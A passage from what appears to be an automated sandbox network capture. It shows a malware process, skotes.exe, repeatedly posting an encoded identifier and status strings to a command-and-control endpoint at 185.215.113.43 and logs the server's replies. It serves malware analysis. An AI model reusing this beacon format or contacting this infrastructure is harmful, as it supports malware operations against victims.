Nov 13, 2024 18:12:39.906155109 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:40.822052956 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50338	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:42.459343910 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:43.354137897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50340	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:44.874993086 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:45.788764000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	50341	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:47.421091080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:48.333014965 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	50342	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:49.846416950 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:50.780003071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50343	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:52.393304110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:53.843851089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 13, 2024 18:12:53.844050884 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 13, 2024 18:12:53.844568968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50345	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:55.359168053 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:12:56.491775990 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 13, 2024 18:12:56.494008064 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50348	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:12:58.128288984 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:12:59.025032043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:12:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	50349	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:00.546019077 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:01.471656084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50352	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:03.108867884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:04.017923117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50354	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:05.535125971 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:06.472438097 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	50355	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:08.095690012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:09.006498098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	50356	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:10.515445948 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:11.425842047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	50357	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:13.062016964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:13.960268974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50358	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:15.678390026 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:16.597023010 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50360	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:18.226106882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:19.133542061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	50361	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:20.660857916 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:21.569540024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50362	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:24.321892977 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:25.232748985 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	50363	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:26.842331886 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:27.767273903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	50365	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:29.392682076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:30.319245100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	50366	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:31.846035004 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:32.749784946 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	50367	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:34.389749050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:35.296781063 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50368	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
